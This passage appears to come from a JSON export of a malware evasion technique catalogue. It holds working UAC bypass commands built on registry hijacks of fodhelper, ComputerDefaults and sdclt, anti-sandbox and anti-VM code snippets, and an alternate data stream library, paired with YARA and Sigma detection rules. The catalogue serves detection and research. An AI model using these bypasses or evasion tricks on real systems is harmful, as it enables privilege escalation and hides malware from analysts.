10.\r\n    Upon execution, \"The operation completed successfully.\" will be shown twice and command prompt will be opened.\r\n  supported_platforms:\r\n  - windows\r\n  input_arguments:\r\n    executable_binary:\r\n      description: Binary to execute with UAC Bypass\r\n      type: path\r\n      default: C:\\Windows\\System32\\cmd.exe\r\n  executor:\r\n    command: |\r\n      reg.exe add hkcu\\software\\classes\\ms-settings\\shell\\open\\command /ve /d \"#{executable_binary}\" /f\r\n      reg.exe add hkcu\\software\\classes\\ms-settings\\shell\\open\\command /v \"DelegateExecute\" /f\r\n      fodhelper.exe\r\n    cleanup_command: |\r\n      reg.exe delete hkcu\\software\\classes\\ms-settings /f >nul 2>&1\r\n    name: command_prompt\r\n- name: Bypass UAC using Fodhelper - PowerShell\r\n  auto_generated_guid: 3f627297-6c38-4e7d-a278-fc2563eaaeaa\r\n  description: |\r\n    PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.\r\n    Upon execution command prompt will be opened.\r\n  supported_platforms:\r\n  - windows\r\n  input_arguments:\r\n    executable_binary:\r\n      description: Binary to execute with UAC Bypass\r\n      type: path\r\n      default: C:\\Windows\\System32\\cmd.exe\r\n  executor:\r\n    command: |\r\n      New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\r\n      New-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\r\n      Set-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\r\n      Start-Process \"C:\\Windows\\System32\\fodhelper.exe\"\r\n    cleanup_command: |\r\n      Remove-Item \"HKCU:\\software\\classes\\ms-settings\" -force -Recurse -ErrorAction Ignore\r\n    name: powershell\r\n- name: Bypass UAC using ComputerDefaults (PowerShell)\r\n  auto_generated_guid: 3c51abf2-44bf-42d8-9111-dc96ff66750f\r\n  description: |\r\n    PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10\r\n    Upon execution administrative command prompt should open\r\n  supported_platforms:\r\n  - windows\r\n  input_arguments:\r\n    executable_binary:\r\n      description: Binary to execute with UAC Bypass\r\n      type: path\r\n      default: C:\\Windows\\System32\\cmd.exe\r\n  executor:\r\n    command: |\r\n      New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\r\n      New-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\r\n      Set-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\r\n      Start-Process \"C:\\Windows\\System32\\ComputerDefaults.exe\"\r\n    cleanup_command: |\r\n      Remove-Item \"HKCU:\\software\\classes\\ms-settings\" -force -Recurse -ErrorAction Ignore\r\n    name: powershell\r\n    elevation_required: true\r\n- name: Bypass UAC by Mocking Trusted Directories\r\n  auto_generated_guid: f7a35090-6f7f-4f64-bb47-d657bf5b10c1\r\n  description: |\r\n    Creates a fake \"trusted directory\" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems\r\n    Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch\r\n  supported_platforms:\r\n  - windows\r\n  input_arguments:\r\n    executable_binary:\r\n      description: Binary to execute with UAC Bypass\r\n      type: path\r\n      default: C:\\Windows\\System32\\cmd.exe\r\n  executor:\r\n    command: |\r\n      mkdir \"\\\\?\\C:\\Windows \\System32\\\"\r\n      copy \"#{executable_binary}\" \"\\\\?\\C:\\Windows \\System32\\mmc.exe\"\r\n      mklink c:\\testbypass.exe \"\\\\?\\C:\\Windows \\System32\\mmc.exe\"\r\n    cleanup_command: |\r\n      rd \"\\\\?\\C:\\Windows \\\" /S /Q >nul 2>nul\r\n      del \"c:\\testbypass.exe\" >nul 2>nul\r\n    name: command_prompt\r\n    elevation_required: true\r\n- name: Bypass UAC using sdclt DelegateExecute\r\n  auto_generated_guid: 3be891eb-4608-4173-87e8-78b494c029b7\r\n  description: |\r\n    Bypasses User Account Control using a fileless method, registry only. \r\n    Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe\r\n    [Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)\r\n    Adapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)\r\n  supported_platforms:\r\n  - windows\r\n  input_arguments:\r\n    command.to.execute:\r\n      description: Command to execute\r\n      type: string\r\n      default: cmd.exe /c notepad.exe\r\n  executor:\r\n    command: |\r\n      New-Item -Force -Path \"HKCU:\\Software\\Classes\\Folder\\shell\\open\\command\" -Value '#{command.to.execute}'\r\n      New-ItemProperty -Force -Path \"HKCU:\\Software\\Classes\\Folder\\shell\\open\\command\" -Name \"DelegateExecute\"\r\n      Start-Process -FilePath $env:windir\\system32\\sdclt.exe\r\n      Start-Sleep -s 3\r\n    cleanup_command: |\r\n      Remove-Item -Path \"HKCU:\\Software\\Classes\\Folder\" -Recurse -Force -ErrorAction Ignore\r\n    name: powershell"
                }
            ]
        },
        {
            "name": "GetForegroundWindow",
            "category": [
                "https://search.unprotect.it/api/categories/1/?format=api"
            ],
            "description": "This technique uses the GetForegroundWindow and Sleep APIs to attempt to evade sandboxes. Many sandboxes do not alter the foreground window like a user would in a normal desktop environment.\r\n\r\nIt accomplishes this by making a call to GetForegroundWindow, which returns a handle to the current window. Then the malware sample will sleep for a short time, followed by another call to GetForegroundWindow. If the foreground window has not changed, the malware assumes it is in a sandbox or analysis virtual machine and will continue this loop until the foreground window changes. If there is no change, the program will loop indefinitely or may make a call to ExitProcess.",
            "resources": "https://archive.f-secure.com/weblog/archives/00002810.html",
            "tags": "GetForegroundWindow",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/8/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/151/?format=api",
                    "description": "This technique is using the API `GetForegroundWindow`.",
                    "plain_code": "#include <winuser.h> // Required import for GetForegroundWindow API\r\n \r\nint main()\r\n{\r\n \r\n    //Get a handle to user's current foreground window.\r\n    int foregroundWindowHandle1 = GetForegroundWindow(); \r\n \r\n    do {\r\n \r\n        //Sleep for .1 second.\r\n        Sleep(100); \r\n \r\n        //Get a handle to user's current foreground window again.\r\n        int foregroundWindowHandle2 = GetForegroundWindow(); \r\n \r\n        }\r\n \r\n    //While the handles to the current foreground windows are equal, continue to loop.\r\n    while (foregroundWindowHandle1 == foregroundWindowHandle2);\r\n \r\n    return 0;\r\n};"
                }
            ],
            "detection_rules": [
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/1/?format=api",
                    "name": "UNPROTECT_Detect_Possible_GetForegroundWindow_Evasion",
                    "rule": "import \"pe\"\r\n \r\nrule UNPROTECT_Possible_GetForegroundWindow_Evasion\r\n{\r\n    meta:\r\n        description = \"Attempts to detect possible usage of sandbox evasion techniques using GetForegroundWindow API, based on module imports.\"\r\n        author = \"Kyle Cucci\"\r\n        date = \"2020-09-30\"\r\n \r\n    condition:\r\n        uint16(0) == 0x5A4D and\r\n        pe.imports(\"user32.dll\", \"GetForegroundWindow\") and\r\n        pe.imports(\"kernel32.dll\", \"Sleep\")\r\n}"
                }
            ]
        },
        {
            "name": "Thermal Zone Temperature",
            "category": [
                "https://search.unprotect.it/api/categories/1/?format=api"
            ],
            "description": "The temperature sensor is used to know the current temperature of a machine. In a non-virtualized environment, the function returns valid support and output like: \"25.05 C: 77.09 F: 298.2K\". But for a fully virtualized environment, the return is \"MSAcpi_ThermalZoneTemperature not supported\" because this feature is not supported on virtualized processors.\r\n\r\nInterestingly, this method is not valid. Not all Windows machines will support this method due to incompatibility with thermal zone sensors. It is a BIOS function. Sometimes the BIOS manufacturer provides dlls that can be referenced to call the required function and return the details.\r\n\r\nMany malware authors use it to detect virtual machines, but it frequently fails due to lack of vendor support.",
            "resources": "https://medium.com/@DebugActiveProcess/anti-vm-techniques-with-msacpi-thermalzonetemperature-32cfeecda802\r\nhttps://social.msdn.microsoft.com/Forums/en-US/19520825-b1fc-4778-8704-c492124bc029/getting-cpu-temp?forum=vblanguage",
            "tags": "thermal, temperature",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/8/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/6/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/150/?format=api",
                    "description": "If the return is \"MSAcpi_ThermalZoneTemperature not supported, it means you are in a virtualized environment.\r\nReference : https://gist.github.com/teixeira0xfffff/36293713c254c69a7ba2353e8d64afce#file-msacpi_thermalzonetemperature-ps1",
                    "plain_code": "function Get-AntiVMwithTemperature {\r\n    $t = Get-WmiObject MSAcpi_ThermalZoneTemperature -Namespace \"root/wmi\"\r\n    $valorTempKelvin = $t.CurrentTemperature / 10\r\n    $valorTempCelsius = $valorTempKelvin - 273.15\r\n    $valorTempFahrenheit = (9/5) * $valorTempCelsius + 32\r\n    return $valorTempCelsius.ToString() + \" C : \" + $valorTempFahrenheit.ToString() + \" F : \" + $valorTempKelvin + \"K\"  \r\n}"
                }
            ],
            "detection_rules": [
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/1/?format=api",
                    "name": "Detect_AntiVMWithTemperature",
                    "rule": "rule Detect_AntiVMWithTemperature {\r\n    meta:\r\n        description = \"Rue to detect AntiVMwithTemperature technique\"\r\n        author = \"Thibault Seret\"\r\n        date = \"2020-09-26\"\r\n    strings:\r\n        $s1 = {72 6f 6f 74 5c 57 4d 49}\r\n        // root\\WMI\r\n        $s2 = {53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 4d 53 41 63 70 69 5f 54 68 65 72 6d 61 6c 5a 6f 6e 65 54 65 6d 70 65 72 61 74 75 72 65}\r\n        // SELECT * FROM MSAcpi_ThermalZoneTemperature\r\n        $s3 = {43 75 72 72 65 6e 74 54 65 6d 70 65 72 61 74 75 72 65}\r\n        //  CurrentTemperature\r\n    \r\n    condition:\r\n    all of them"
                }
            ]
        },
        {
            "name": "Checking Malware Name",
            "category": [
                "https://search.unprotect.it/api/categories/6/?format=api",
                "https://search.unprotect.it/api/categories/1/?format=api"
            ],
            "description": "Some analysts rename the malware as \"malware.exe\" or \"sample.exe\" or even with the file hash. Malware can detect the name before fully executing on the infected machine. If any of the blacklisted names are detected, the sample will run differently or end its process.",
            "resources": "https://twitter.com/hatching_io/status/1308051192661110784",
            "tags": "sample.exe",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/2/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/149/?format=api",
                    "description": "",
                    "plain_code": "#include <iostream>\r\n#include <cstring>\r\n#include <windows.h>\r\n\r\nusing namespace std;\r\n\r\nint main(int argc, char** argv)\r\n{\r\n    TCHAR szExeFileName[MAX_PATH];\r\n    GetModuleFileName(NULL, szExeFileName, MAX_PATH);\r\n\r\n    // full path\r\n    cout << \"[+] Fulle Path: \" << szExeFileName << endl;\r\n\r\n    //convert tchar to string\r\n    std:string filename (szExeFileName);\r\n\r\n    // Remove directory if present.\r\n    const size_t last_slash_idx = filename.find_last_of(\"\\\\/\");\r\n    if (std::string::npos != last_slash_idx)\r\n    {\r\n        filename.erase(0, last_slash_idx + 1);\r\n    }\r\n\r\n    // Blacklist\r\n    LPSTR fname[] = {\"sample.exe\",\r\n                     \"malware.exe\",\r\n                     // ADD YOUR PROCESS NAME HERE!\r\n                    };\r\n    for (int i = 0; i < (sizeof(fname) / sizeof(LPSTR)); i++)\r\n    {\r\n        if ((fname[i] == filename ))\r\n        {\r\n            cout << \" [!] Filename is blacklisted: \" << (fname[i]) << endl;\r\n            exit(0);\r\n        }\r\n    }\r\n    return 0;\r\n}"
                }
            ],
            "detection_rules": []
        },
        {
            "name": "RDTSCP",
            "category": [
                "https://search.unprotect.it/api/categories/1/?format=api"
            ],
            "description": "Newer processors support a new instruction called RDTSCP which does the exact same thing as RDTSC, except that it does so serializing (meaning it waits for all instructions to execute before reading the counter. and that the possible reordering of the execution of the instructions is won that does not happen). \r\n\r\nThis instruction can be used to calculate the delta of the timestamp counter in the same way as RDTSC and thus detect whether the program is being debugged, emulated or executed in a virtual environment.",
            "resources": "https://www.hexacorn.com/blog/2014/06/15/rdtscp-a-recooked-antire-trick/",
            "tags": "RDTSCP",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/6/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/4/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/148/?format=api",
                    "description": "",
                    "plain_code": ".586\r\n.MODEL FLAT,STDCALL\r\n include    windows.inc\r\n include    kernel32.inc\r\n includelib kernel32.lib\r\n include    user32.inc\r\n includelib user32.lib\r\n include    masm32.inc\r\n includelib masm32.lib\r\n.data\r\n  pat                  db 'rdtscp delta=%d, rdtsc delta=%d',13,10,0\r\n  rdtscp_not_supported db 'rdtscp not supported'\r\n.data?\r\n  buf db 64 dup (?)\r\n.code\r\nrdtscp macro\r\n  db 0Fh, 01h, 0F9h\r\nendm\r\nassume fs:nothing\r\nRDTSCP  proc\r\n  LOCAL _retval:DWORD\r\n   mov  _retval,0\r\n   pushad\r\n   push OFFSET e\r\n   push dword ptr fs:[0]\r\n   mov  dword ptr fs:[0], esp\r\n   rdtscp\r\n   mov ebx,eax\r\n   rdtscp\r\n   sub  eax,ebx\r\n   mov  _retval,eax\r\n   jmp  no_e\r\n e:\r\n   mov  esp, [esp + 8]\r\n   pop  dword ptr fs:[0]\r\n   add  esp, 4\r\n   popad\r\n   mov  _retval,-1\r\n   jmp  _ret\r\n no_e:\r\n   pop  dword ptr fs:[0]\r\n   add  esp, 4\r\n   popad\r\n_ret:\r\n   mov eax,_retval\r\n   ret\r\nRDTSCP  endp\r\n  Start:\r\n   rdtsc\r\n   mov ebx,eax\r\n   rdtsc\r\n   sub  eax,ebx\r\n   mov  ebp,eax\r\n   call RDTSCP\r\n   .if eax==-1\r\n       invoke  StdOut,OFFSET rdtscp_not_supported\r\n   .else\r\n       invoke  wsprintfA,OFFSET buf,OFFSET pat,eax,ebp\r\n       invoke  StdOut,OFFSET buf\r\n   .endif\r\n   invoke ExitProcess,0\r\nEND Start"
                }
            ],
            "detection_rules": []
        },
        {
            "name": "API Hammering",
            "category": [
                "https://search.unprotect.it/api/categories/1/?format=api"
            ],
            "description": "API hammering is a technique used to delay sandbox analysis and thus avoid malware capability analysis reporting. This technique consists of calling a large amount of benign APIs like \"printf\" in a loop.",
            "resources": "https://www.joesecurity.org/blog/3660886847485093803",
            "tags": "hammering",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "Process Reimaging",
            "category": [
                "https://search.unprotect.it/api/categories/4/?format=api"
            ],
            "description": "The Windows Operating System has inconsistencies in how it determines process image FILE_OBJECT locations, which impacts non-EDR (Endpoint Detection and Response) Endpoint Security Solution’s (such as Microsoft Defender Realtime Protection), ability to detect the correct binaries loaded in malicious processes. \r\n\r\nThis inconsistency has led McAfee’s Advanced Threat Research to develop a new post-exploitation evasion technique called “Process Reimaging”. This technique is equivalent in impact to Process Hollowing or Process Doppelganging within the Mitre Attack Defense Evasion Category; however, it is , much easier to execute as it requires no code injection. \r\n\r\nWhile this bypass has been successfully tested against current versions of Microsoft Windows and Defender, it is highly likely that the bypass will work on any endpoint security vendor or product implementing the APIs discussed below.",
            "resources": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/in-ntdll-i-trust-process-reimaging-and-endpoint-security-solution-bypass/",
            "tags": "reimaging, mitre",
            "snippets": [],
            "detection_rules": [
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/3/?format=api",
                    "name": "process_reimaging",
                    "rule": "action: global\r\ntitle: Defense evasion via process reimaging\r\nid: 7fa4f550-850e-4117-b543-428c86ebb849\r\ndescription: Detects process reimaging defense evasion technique\r\nstatus: experimental\r\nauthor: Alexey Balandin, oscd.community\r\nreferences:\r\n    - https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/in-ntdll-i-trust-process-reimaging-and-endpoint-security-solution-bypass/\r\ntags:\r\n    - attack.defense_evasion\r\ndate: 2019/10/25\r\ndetection:\r\n    condition: all of them\r\nfalsepositives:\r\n    - unknown\r\nlevel: high\r\n---\r\nlogsource:\r\n    product: windows\r\n    service: sysmon\r\ndetection:\r\n    selection1:\r\n        category: process_creation\r\nfields:\r\n    - Image\r\n    - OriginalFileName\r\n    - ParentProcessGuid\r\nnew_fields:\r\n    - ImageFileName\r\n---\r\nlogsource:\r\n    product: windows\r\n    service: sysmon\r\ndetection:\r\n    selection2:\r\n        EventID: 11\r\nfields:\r\n    - ProcessGuid\r\n    - TargetFilename"
                }
            ]
        },
        {
            "name": "Malvertising",
            "category": [
                "https://search.unprotect.it/api/categories/14/?format=api"
            ],
            "description": "Malvertising (a portmanteau of \"malicious advertising\") is the use of online advertising to spread malware. Online advertisements provide a solid platform for spreading malware because significant effort is put into them in order to attract users and sell or advertise the product. Because advertising content can be inserted into high-profile and reputable websites, malvertising provides malefactors an opportunity to push their attacks to web users who might not otherwise see the ads, due to firewalls, more safety precautions, or the like. \r\n\r\nMalvertising is attractive to attackers because they can be easily spread across a large number of legitimate websites without directly compromising those websites. Using this vector can bypass the network security in place.",
            "resources": "https://www.imperva.com/learn/application-security/malvertising/",
            "tags": "malvertising",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "C2 via Social Networks",
            "category": [
                "https://search.unprotect.it/api/categories/9/?format=api"
            ],
            "description": "Although some malware can work on its own, many samples are programmed to stay in contact with the attacker for instructions for use. The mechanism these robots use to communicate with their operators is called command and control (C&C or C2). \r\n\r\nC&C channels can take the form of IRC chatter, peer-to-peer protocols, generic HTTP traffic, etc. Several recent malware samples also used social media for C&C.",
            "resources": "https://zeltser.com/bots-command-and-control-via-social-media/",
            "tags": "social network",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "Peer to peer C2",
            "category": [
                "https://search.unprotect.it/api/categories/9/?format=api"
            ],
            "description": "Peer-to-peer (P2P) botnets have a random organization and operate without a C&C server. Bot software maintains a list of trusted computers (including other infected machines), information drop locations and locations where the machines can update their malware. More advanced botnets use encryption in order to hide communications between bots.\r\n\r\nThe purpose of decentralization is to help evade detection and also make it harder for security researchers to access communications than is the case with a conventional botnet topology. The lack of a command-and-control server makes it less likely that detection of a single bot can lead to investigators taking down the entire network.",
            "resources": "https://www.malwaretech.com/2013/12/peer-to-peer-botnets-for-beginners.html",
            "tags": "p2p",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "Tor Network C2",
            "category": [
                "https://search.unprotect.it/api/categories/9/?format=api"
            ],
            "description": "Tor is free and open-source software for enabling anonymous communication. Tor directs Internet traffic through a free, worldwide, volunteer overlay network consisting of more than seven thousand relays to conceal a user's location and usage from anyone conducting network surveillance or traffic analysis.\r\n\r\nUsing Tor makes it more difficult to trace Internet activity to the user: this includes \"visits to Web sites, online posts, instant messages, and other communication forms\". Tor Network can be used by malware to communicate to a C&C server in a hiding node that make it more difficult to detect. Ransomware usually used Tor to host the payment page and even dataleak page.",
            "resources": "https://blog.trendmicro.com/trendlabs-security-intelligence/defending-against-tor-using-malware-part-1/",
            "tags": "tor",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "DNS Hijacking",
            "category": [
                "https://search.unprotect.it/api/categories/9/?format=api"
            ],
            "description": "DNS hijacking or DNS redirection is the practice of subverting the resolution of Domain Name System (DNS) queries. This can be achieved by malware that overrides a computer's TCP/IP configuration to point at a rogue DNS server under the control of an attacker, or through modifying the behaviour of a trusted DNS server so that it does not comply with internet standards.\r\n\r\nThese modifications may be made for malicious purposes such as phishing, or for self-serving purposes by Internet service providers (ISPs) and public/router-based online DNS server providers to direct users' web traffic to the ISP's own web servers where advertisements can be served, statistics collected, or other purposes of the ISP; and by DNS service providers to block access to selected domains as a form of censorship.",
            "resources": "https://en.wikipedia.org/wiki/DNS_hijacking",
            "tags": "DNS",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "DNS Tunneling",
            "category": [
                "https://search.unprotect.it/api/categories/9/?format=api"
            ],
            "description": "DNS Tunneling is a method that encodes the data of other programs or protocols in DNS queries and responses. DNS tunneling often includes data payloads that can be added to an attacked DNS server and used to control a remote server and applications.\r\n\r\nTypically, DNS tunneling requires the compromised system to have external network connectivity, as DNS tunneling requires access to an internal DNS server with network access. Attackers must also control a domain and a server that can act as an authoritative server in order to execute the server-side tunneling and data payload executable programs.",
            "resources": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/",
            "tags": "DNS Tunneling",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "Domain Generation Algorithm",
            "category": [
                "https://search.unprotect.it/api/categories/9/?format=api"
            ],
            "description": "Domain generation algorithms (DGA) are algorithms seen in various families of malware that are used to periodically generate a large number of domain names that can be used as rendez-vous points with their command and control servers. \r\n\r\nThe large number of potential rendez-vous points makes it difficult for law enforcement to effectively shut down botnets, since infected computers will attempt to contact some of these domain names every day to receive updates or commands. The use of public-key cryptography in malware code makes it unfeasible for law enforcement and other actors to mimic commands from the malware controllers as some worms will automatically reject any updates not signed by the malware controllers.",
            "resources": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf",
            "tags": "DGA",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "Fast Flux",
            "category": [
                "https://search.unprotect.it/api/categories/9/?format=api"
            ],
            "description": "Fast flux is a DNS technique used by botnets to hide phishing and malware delivery sites behind an ever-changing network of compromised hosts acting as proxies. It can also refer to the combination of peer-to-peer networking, distributed command and control, web-based load balancing and proxy redirection used to make malware networks more resistant to discovery and counter-measures.",
            "resources": "https://www.akamai.com/us/en/multimedia/documents/white-paper/digging-deeper-in-depth-analysis-of-fast-flux-network.pdf",
            "tags": "dns, fast flux",
            "snippets": [],
            "detection_rules": []
        },
        {
            "name": "NTFS Files Attributes",
            "category": [
                "https://search.unprotect.it/api/categories/2/?format=api"
            ],
            "description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. Within MFT entries are file attributes, such as Extended Attributes and Data known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files. \r\n\r\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.",
            "resources": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/",
            "tags": "ntfs",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/1/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/1/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/136/?format=api",
                    "description": "This code let you handle Alternate Data Streams using two different techniques.\r\n\r\n* `FindFirstStreamW` / `FindNextStreamW` : Available since Windows Vista and easier to use.\r\n* `BackupRead` : Available since Windows XP and more tricky to use.\r\n\r\nYou can:\r\n\r\n* Enumerate ADS Files attached to a target file.\r\n* Backup ADS File(s) attached to a target file.\r\n* Copy any file to target file ADS.\r\n* Delete ADS File(s) attached to a target file.\r\n\r\nIf you want to learn more about how to use this tiny library you can check [this example project on Github](https://github.com/DarkCoderSc/ADS-Revealer).",
                    "plain_code": "unit UntDataStreamObject;\r\n\r\ninterface\r\n\r\nuses WinAPI.Windows, System.Classes, System.SysUtils, Generics.Collections,\r\n      RegularExpressions;\r\n\r\ntype\r\n  TEnumDataStream = class;\r\n  TADSBackupStatus = (absTotal, absPartial, absError);\r\n\r\n  TDataStream = class\r\n  private\r\n    FOwner      : TEnumDataStream;\r\n    FStreamName : String;\r\n    FStreamSize : Int64;\r\n\r\n    {@M}\r\n    function GetStreamPath() : String;\r\n  public\r\n    {@C}\r\n    constructor Create(AOwner : TEnumDataStream; AStreamName : String; AStreamSize : Int64);\r\n\r\n    {@M}\r\n    function CopyFileToADS(AFileName : String) : Boolean;\r\n    function BackupFromADS(ADestPath : String) : Boolean;\r\n    function DeleteFromADS() : Boolean;\r\n\r\n    {@G/S}\r\n    property StreamName : String read FStreamName;\r\n    property StreamSize : Int64  read FStreamSize;\r\n    property StreamPath : String read GetStreamPath;\r\n  end;\r\n\r\n  TEnumDataStream = class\r\n  private\r\n    FTargetFile            : String;\r\n    FItems                 : TObjectList<TDataStream>;\r\n    FForceBackUpReadMethod : Boolean;\r\n\r\n    {@M}\r\n    function Enumerate_FindFirstStream() : Int64;\r\n    function Enumerate_BackupRead() : Int64;\r\n    function ExtractADSName(ARawName : String) : String;\r\n    function CopyFromTo(AFrom, ATo : String) : Boolean;\r\n    function GetDataStreamFromName(AStreamName : String) : TDataStream;\r\n  public\r\n    {@C}\r\n    constructor Create(ATargetFile : String; AEnumerateNow : Boolean = True; AForceBackUpReadMethod : Boolean = False);\r\n    destructor Destroy(); override;\r\n\r\n    {@M}\r\n    function Refresh() : Int64;\r\n\r\n    function CopyFileToADS(AFilePath : String) : Boolean;\r\n    function BackupFromADS(ADataStream : TDataStream; ADestPath : String) : Boolean; overload;\r\n    function DeleteFromADS(ADataStream : TDataStream) : Boolean; overload;\r\n    function BackupAllFromADS(ADestPath : String) : TADSBackupStatus;\r\n    function BackupFromADS(AStreamName, ADestPath : String) : Boolean; overload;\r\n    function DeleteFromADS(AStreamName : String) : Boolean; overload;\r\n\r\n    {@G}\r\n    property TargetFile : String                   read FTargetFile;\r\n    property Items      : TObjectList<TDataStream> read FItems;\r\n  end;\r\n\r\nimplementation\r\n\r\n{+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n\r\n   TEnumDataStream\r\n\r\n\r\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++}\r\n\r\n{\r\n  FindFirstStream / FindNextStream API Definition\r\n}\r\ntype\r\n  _STREAM_INFO_LEVELS = (FindStreamInfoStandard, FindStreamInfoMaxInfoLevel);\r\n  TStreamInfoLevels = _STREAM_INFO_LEVELS;\r\n\r\n  _WIN32_FIND_STREAM_DATA = record\r\n    StreamSize : LARGE_INTEGER;\r\n    cStreamName : array[0..(MAX_PATH + 36)] of WideChar;\r\n  end;\r\n  TWin32FindStreamData = _WIN32_FIND_STREAM_DATA;\r\n\r\nvar hKernel32         : THandle;\r\n    _FindFirstStreamW : function(lpFileName : LPCWSTR; InfoLevel : TStreamInfoLevels; lpFindStreamData : LPVOID; dwFlags : DWORD) : THandle; stdcall;\r\n    _FindNextStreamW  : function(hFindStream : THandle; lpFindStreamData : LPVOID) : BOOL; stdcall;\r\n\r\n\r\n{-------------------------------------------------------------------------------\r\n  Return the ADS name from it raw name (:<name>:$DATA)\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumDataStream.ExtractADSName(ARawName : String) : String;\r\nvar AMatch : TMatch;\r\n    AName  : String;\r\nbegin\r\n  result := ARawName;\r\n  ///\r\n\r\n  AName := '';\r\n  AMatch := TRegEx.Match(ARawName, ':(.*):');\r\n  if (AMatch.Groups.Count < 2) then\r\n    Exit();\r\n\r\n  result := AMatch.Groups.Item[1].Value;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Scan for ADS using method N�1 (FindFirstStream / FindNextStream). Work since\r\n  Microsoft Windows Vista.\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumDataStream.Enumerate_FindFirstStream() : Int64;\r\nvar hStream     : THandle;\r\n    AData       : TWin32FindStreamData;\r\n\r\n    procedure ProcessDataStream();\r\n    var ADataStream : TDataStream;\r\n    begin\r\n      if (String(AData.cStreamName).CompareTo('::$DATA') = 0) then\r\n        Exit();\r\n      ///\r\n\r\n      ADataStream := TDataStream.Create(self, ExtractADSName(String(AData.cStreamName)), Int64(AData.StreamSize));\r\n\r\n      FItems.Add(ADataStream);\r\n    end;\r\n\r\nbegin\r\n  result := 0;\r\n  ///\r\n\r\n  self.FItems.Clear();\r\n\r\n  if NOT FileExists(FTargetFile) then\r\n    Exit(-1);\r\n\r\n  if (NOT Assigned(@_FindFirstStreamW)) or (NOT Assigned(@_FindNextStreamW)) then\r\n    Exit(-2);\r\n\r\n  FillChar(AData, SizeOf(TWin32FindStreamData), #0);\r\n\r\n  // https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-findfirststreamw\r\n  hStream := _FindFirstStreamW(PWideChar(FTargetFile), FindStreamInfoStandard, @AData, 0);\r\n  if (hStream = INVALID_HANDLE_VALUE) then begin\r\n    case GetLastError() of\r\n      ERROR_HANDLE_EOF : begin\r\n        Exit(-3); // No ADS Found\r\n      end;\r\n\r\n      ERROR_INVALID_PARAMETER : begin\r\n        Exit(-4); // Not compatible\r\n      end;\r\n\r\n      else begin\r\n        Exit(-5);\r\n      end;\r\n    end;\r\n  end;\r\n\r\n  ProcessDataStream();\r\n\r\n  // https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-findnextstreamw\r\n  while True do begin\r\n    FillChar(AData, SizeOf(TWin32FindStreamData), #0);\r\n\r\n    if NOT _FindNextStreamW(hStream, @AData) then\r\n      break;\r\n\r\n    ProcessDataStream();\r\n  end;\r\n\r\n  ///\r\n  result := self.FItems.Count;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Scan for ADS using method N�2 (BackupRead()). Works since\r\n  Microsoft Windows 